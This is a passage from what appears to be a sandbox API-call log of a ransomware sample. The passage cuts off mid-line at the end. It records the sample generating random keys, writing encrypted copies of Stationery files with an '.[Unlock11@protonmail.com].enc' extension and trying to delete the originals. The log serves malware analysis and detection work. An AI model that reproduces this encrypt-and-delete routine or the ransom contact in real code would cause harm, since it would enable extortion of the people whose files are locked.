[0123.566] GetLastError () returned 0x0 [0123.566] GetLastError () returned 0x0 [0123.566] GetCurrentThreadId () returned 0x9b0 [0123.566] GetLastError () returned 0x0 [0123.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0123.566] GetLastError () returned 0x0 [0123.566] GetLastError () returned 0x0 [0123.566] GetCurrentThreadId () returned 0x9b0 [0123.566] GetLastError () returned 0x0 [0123.566] GetLastError () returned 0x0 [0123.567] GetLastError () returned 0x0 [0123.567] GetCurrentThreadId () returned 0x9b0 [0123.567] GetLastError () returned 0x0 [0123.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0123.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x108) returned 0x382ac20 [0123.568] GetCurrentThreadId () returned 0x9b0 [0123.568] GetLastError () returned 0x0 [0123.568] GetLastError () returned 0x0 [0123.568] GetLastError () returned 0x0 [0123.568] GetLastError () returned 0x0 [0123.568] GetCurrentThreadId () returned 0x9b0 [0123.568] GetLastError () returned 0x0 [0123.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ac20 | out: hHeap=0x2ad0000) returned 1 [0123.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0123.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0123.569] GetLastError () returned 0x0 [0123.569] GetLastError () returned 0x0 [0123.569] GetCurrentThreadId () returned 0x9b0 [0123.569] GetLastError () returned 0x0 [0123.569] GetLastError () returned 0x0 [0123.569] GetLastError () returned 0x0 [0123.569] GetCurrentThreadId () returned 0x9b0 [0123.569] GetLastError () returned 0x0 [0123.569] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8658 | out: hHeap=0x2ad0000) returned 1 [0123.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.570] GetLastError () returned 0x0 [0123.571] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.571] CloseHandle (hObject=0x3ac) returned 1 [0123.571] GetLastError () returned 0x0 [0123.571] GetCurrentThreadId () returned 0x9b0 [0123.571] GetLastError () returned 0x0 [0123.571] GetLastError () returned 0x0 [0123.571] CloseHandle (hObject=0x39c) returned 1 [0123.572] GetLastError () returned 0x0 [0123.572] GetCurrentThreadId () returned 0x9b0 [0123.572] GetLastError () returned 0x0 [0123.572] GetLastError () returned 0x0 [0123.572] GetLastError () returned 0x0 [0123.572] GetLastError () returned 0x0 [0123.572] GetLastError () returned 0x0 [0123.572] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0 [0123.572] GetLastError () returned 0x5 [0123.573] GetCurrentThreadId () returned 0x9b0 [0123.573] GetLastError () returned 0x5 [0123.573] GetLastError () returned 0x5 [0123.573] GetLastError () returned 0x5 [0123.573] GetLastError () returned 0x5 [0123.573] LocalFree (hMem=0x1053b10) returned 0x0 [0123.573] GetCurrentThreadId () returned 0x9b0 [0123.573] GetLastError () returned 0x5 [0123.573] GetLastError () returned 0x5 [0123.573] GetLastError () returned 0x5 [0123.573] GetLastError () returned 0x5 [0123.574] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg", lpFilePart=0x9bada4*="GreenBubbles.jpg") returned 0x4a [0123.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0123.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0123.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0123.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0123.574] GetCurrentThreadId () returned 0x9b0 [0123.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.574] GetLastError () returned 0x0 [0123.574] GetLastError () returned 0x0 [0123.574] GetLastError () returned 0x0 [0123.574] GetLastError () returned 0x0 [0123.575] GetCurrentThreadId () returned 0x9b0 [0123.575] GetLastError () returned 0x0 [0123.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.575] GetLastError () returned 0x0 [0123.575] GetLastError () returned 0x0 [0123.575] GetLastError () returned 0x0 [0123.575] GetLastError () returned 0x0 [0123.575] GetCurrentThreadId () returned 0x9b0 [0123.575] GetLastError () returned 0x0 [0123.575] GetCurrentThreadId () returned 0x9b0 [0123.576] GetLastError () returned 0x0 [0123.576] GetLastError () returned 0x0 [0123.576] GetLastError () returned 0x0 [0123.576] GetLastError () returned 0x0 [0123.576] GetCurrentThreadId () returned 0x9b0 [0123.576] GetLastError () returned 0x0 [0123.576] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.576] GetLastError () returned 0x0 [0123.576] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0123.576] GetLastError () returned 0x0 [0123.577] GetLastError () returned 0x0 [0123.577] GetLastError () returned 0x0 [0123.577] GetCurrentThreadId () returned 0x9b0 [0123.577] GetCurrentThreadId () returned 0x9b0 [0123.577] GetCurrentThreadId () returned 0x9b0 [0123.577] GetCurrentThreadId () returned 0x9b0 [0123.577] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1906)) returned 1 [0123.577] GetCurrentThreadId () returned 0x9b0 [0123.577] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab4c | out: pbBuffer=0x366ab4c) returned 1 [0123.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0123.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0123.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0123.578] GetCurrentThreadId () returned 0x9b0 [0123.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac10 [0123.578] GetCurrentThreadId () returned 0x9b0 [0123.578] GetCurrentThreadId () returned 0x9b0 [0123.578] GetCurrentThreadId () returned 0x9b0 [0123.578] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.579] GetFileType (hFile=0x39c) returned 0x1 [0123.579] GetCurrentThreadId () returned 0x9b0 [0123.579] GetFileType (hFile=0x39c) returned 0x1 [0123.579] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.579] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.579] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.579] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.579] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.579] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.579] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.579] GetLastError () returned 0x0 [0123.580] GetCurrentThreadId () returned 0x9b0 [0123.580] GetLastError () returned 0x0 [0123.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a48 | out: hHeap=0x2ad0000) returned 1 [0123.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a26c8 | out: hHeap=0x2ad0000) returned 1 [0123.580] GetLastError () returned 0x0 [0123.580] GetLastError () returned 0x0 [0123.580] GetLastError () returned 0x0 [0123.580] GetLastError () returned 0x0 [0123.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.580] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6b18 [0123.580] GetLastError () returned 0x0 [0123.581] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.582] GetFileType (hFile=0x3ac) returned 0x1 [0123.582] GetLastError () returned 0x0 [0123.582] GetCurrentThreadId () returned 0x9b0 [0123.582] GetLastError () returned 0x0 [0123.582] GetFileType (hFile=0x3ac) returned 0x1 [0123.582] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.583] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.583] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.583] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.583] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.583] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.583] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.583] GetLastError () returned 0x0 [0123.583] GetCurrentThreadId () returned 0x9b0 [0123.583] GetLastError () returned 0x0 [0123.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b18 | out: hHeap=0x2ad0000) returned 1 [0123.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0123.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0123.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.584] GetLastError () returned 0x0 [0123.584] GetLastError () returned 0x0 [0123.584] GetCurrentThreadId () returned 0x9b0 [0123.584] GetLastError () returned 0x0 [0123.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0123.584] GetLastError () returned 0x0 [0123.584] GetLastError () returned 0x0 [0123.584] GetCurrentThreadId () returned 0x9b0 [0123.584] GetLastError () returned 0x0 [0123.584] GetLastError () returned 0x0 [0123.586] GetLastError () returned 0x0 [0123.586] GetCurrentThreadId () returned 0x9b0 [0123.586] GetLastError () returned 0x0 [0123.586] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a38 | out: hHeap=0x2ad0000) returned 1 [0123.586] GetCurrentThreadId () returned 0x9b0 [0123.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1928) returned 0x35bc9f0 [0123.587] GetLastError () returned 0x0 [0123.587] GetLastError () returned 0x0 [0123.587] GetLastError () returned 0x0 [0123.587] GetLastError () returned 0x0 [0123.587] GetCurrentThreadId () returned 0x9b0 [0123.587] GetLastError () returned 0x0 [0123.587] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc9f0 | out: hHeap=0x2ad0000) returned 1 [0123.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0123.587] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0123.587] GetLastError () returned 0x0 [0123.588] GetLastError () returned 0x0 [0123.588] GetCurrentThreadId () returned 0x9b0 [0123.588] GetLastError () returned 0x0 [0123.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35be320 | out: hHeap=0x2ad0000) returned 1 [0123.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f9e78 [0123.589] GetLastError () returned 0x0 [0123.589] GetLastError () returned 0x0 [0123.589] GetCurrentThreadId () returned 0x9b0 [0123.589] GetLastError () returned 0x0 [0123.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f9e78 | out: hHeap=0x2ad0000) returned 1 [0123.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.589] GetLastError () returned 0x0 [0123.590] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.590] CloseHandle (hObject=0x3ac) returned 1 [0123.590] GetLastError () returned 0x0 [0123.590] GetCurrentThreadId () returned 0x9b0 [0123.590] GetLastError () returned 0x0 [0123.590] GetLastError () returned 0x0 [0123.590] CloseHandle (hObject=0x39c) returned 1 [0123.590] GetLastError () returned 0x0 [0123.590] GetCurrentThreadId () returned 0x9b0 [0123.591] GetLastError () returned 0x0 [0123.591] GetLastError () returned 0x0 [0123.591] GetLastError () returned 0x0 [0123.591] GetLastError () returned 0x0 [0123.591] GetLastError () returned 0x0 [0123.591] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0 [0123.591] GetLastError () returned 0x5 [0123.591] GetCurrentThreadId () returned 0x9b0 [0123.591] GetLastError () returned 0x5 [0123.591] GetLastError () returned 0x5 [0123.592] GetLastError () returned 0x5 [0123.592] GetLastError () returned 0x5 [0123.592] LocalFree (hMem=0x1053d10) returned 0x0 [0123.592] GetCurrentThreadId () returned 0x9b0 [0123.592] GetLastError () returned 0x5 [0123.592] GetLastError () returned 0x5 [0123.592] GetLastError () returned 0x5 [0123.592] GetLastError () returned 0x5 [0123.592] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm", lpFilePart=0x9bada4*="Hand Prints.htm") returned 0x49 [0123.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0123.593] GetCurrentThreadId () returned 0x9b0 [0123.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0123.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0123.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0123.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaaa8 [0123.593] GetLastError () returned 0x0 [0123.593] GetLastError () returned 0x0 [0123.593] GetLastError () returned 0x0 [0123.593] GetLastError () returned 0x0 [0123.593] GetCurrentThreadId () returned 0x9b0 [0123.594] GetLastError () returned 0x0 [0123.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaaa8 | out: hHeap=0x2ad0000) returned 1 [0123.594] GetCurrentThreadId () returned 0x9b0 [0123.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac10 [0123.594] GetLastError () returned 0x0 [0123.594] GetLastError () returned 0x0 [0123.594] GetLastError () returned 0x0 [0123.594] GetLastError () returned 0x0 [0123.594] GetCurrentThreadId () returned 0x9b0 [0123.594] GetLastError () returned 0x0 [0123.594] GetLastError () returned 0x0 [0123.595] GetLastError () returned 0x0 [0123.595] GetLastError () returned 0x0 [0123.595] GetLastError () returned 0x0 [0123.595] GetCurrentThreadId () returned 0x9b0 [0123.595] GetLastError () returned 0x0 [0123.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eac10 | out: hHeap=0x2ad0000) returned 1 [0123.595] GetLastError () returned 0x0 [0123.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0123.595] GetLastError () returned 0x0 [0123.595] GetLastError () returned 0x0 [0123.595] GetLastError () returned 0x0 [0123.596] GetCurrentThreadId () returned 0x9b0 [0123.596] GetLastError () returned 0x0 [0123.596] GetCurrentThreadId () returned 0x9b0 [0123.596] GetLastError () returned 0x0 [0123.596] GetLastError () returned 0x0 [0123.596] GetLastError () returned 0x0 [0123.596] GetLastError () returned 0x0 [0123.596] GetCurrentThreadId () returned 0x9b0 [0123.596] GetLastError () returned 0x0 [0123.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a868 | out: hHeap=0x2ad0000) returned 1 [0123.596] GetLastError () returned 0x0 [0123.597] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0123.597] GetLastError () returned 0x0 [0123.597] GetLastError () returned 0x0 [0123.597] GetLastError () returned 0x0 [0123.597] GetCurrentThreadId () returned 0x9b0 [0123.597] GetLastError () returned 0x0 [0123.597] GetLastError () returned 0x0 [0123.597] GetLastError () returned 0x0 [0123.597] GetLastError () returned 0x0 [0123.597] GetLastError () returned 0x0 [0123.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.598] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb)) returned 1 [0123.598] GetLastError () returned 0x0 [0123.598] GetCurrentThreadId () returned 0x9b0 [0123.598] GetLastError () returned 0x0 [0123.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a24b8 | out: hHeap=0x2ad0000) returned 1 [0123.598] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366af5c | out: pbBuffer=0x366af5c) returned 1 [0123.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0123.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0123.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0123.598] GetCurrentThreadId () returned 0x9b0 [0123.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9b8 [0123.599] GetLastError () returned 0x0 [0123.599] GetLastError () returned 0x0 [0123.599] GetLastError () returned 0x0 [0123.599] GetLastError () returned 0x0 [0123.599] GetCurrentThreadId () returned 0x9b0 [0123.599] GetLastError () returned 0x0 [0123.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea9b8 | out: hHeap=0x2ad0000) returned 1 [0123.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9b8 [0123.599] GetCurrentThreadId () returned 0x9b0 [0123.599] GetLastError () returned 0x0 [0123.600] GetLastError () returned 0x0 [0123.600] GetLastError () returned 0x0 [0123.600] GetLastError () returned 0x0 [0123.600] GetCurrentThreadId () returned 0x9b0 [0123.600] GetLastError () returned 0x0 [0123.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea9b8 | out: hHeap=0x2ad0000) returned 1 [0123.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6a38 [0123.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0123.600] GetLastError () returned 0x0 [0123.600] GetLastError () returned 0x0 [0123.600] GetLastError () returned 0x0 [0123.601] GetLastError () returned 0x0 [0123.601] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.601] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a48 [0123.601] GetLastError () returned 0x0 [0123.601] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.601] GetFileType (hFile=0x39c) returned 0x1 [0123.602] GetLastError () returned 0x0 [0123.602] GetCurrentThreadId () returned 0x9b0 [0123.602] GetLastError () returned 0x0 [0123.602] GetFileType (hFile=0x39c) returned 0x1 [0123.602] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.602] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.602] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.602] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.602] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.602] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.602] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.602] GetLastError () returned 0x0 [0123.603] GetCurrentThreadId () returned 0x9b0 [0123.603] GetLastError () returned 0x0 [0123.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a48 | out: hHeap=0x2ad0000) returned 1 [0123.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2618 | out: hHeap=0x2ad0000) returned 1 [0123.603] GetLastError () returned 0x0 [0123.603] GetLastError () returned 0x0 [0123.603] GetLastError () returned 0x0 [0123.603] GetLastError () returned 0x0 [0123.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0123.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6aa8 [0123.603] GetLastError () returned 0x0 [0123.603] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.604] GetFileType (hFile=0x3ac) returned 0x1 [0123.604] GetLastError () returned 0x0 [0123.604] GetCurrentThreadId () returned 0x9b0 [0123.604] GetLastError () returned 0x0 [0123.604] GetFileType (hFile=0x3ac) returned 0x1 [0123.604] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.604] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.604] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.604] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.605] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.605] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.605] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.605] GetLastError () returned 0x0 [0123.605] GetCurrentThreadId () returned 0x9b0 [0123.605] GetLastError () returned 0x0 [0123.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6aa8 | out: hHeap=0x2ad0000) returned 1 [0123.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0123.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0123.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.605] GetLastError () returned 0x0 [0123.605] GetLastError () returned 0x0 [0123.606] GetCurrentThreadId () returned 0x9b0 [0123.606] GetLastError () returned 0x0 [0123.606] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.606] GetLastError () returned 0x0 [0123.606] GetLastError () returned 0x0 [0123.606] GetCurrentThreadId () returned 0x9b0 [0123.606] GetLastError () returned 0x0 [0123.606] GetLastError () returned 0x0 [0123.607] GetLastError () returned 0x0 [0123.607] GetCurrentThreadId () returned 0x9b0 [0123.607] GetLastError () returned 0x0 [0123.607] GetCurrentThreadId () returned 0x9b0 [0123.607] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x105) returned 0x36f8548 [0123.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, 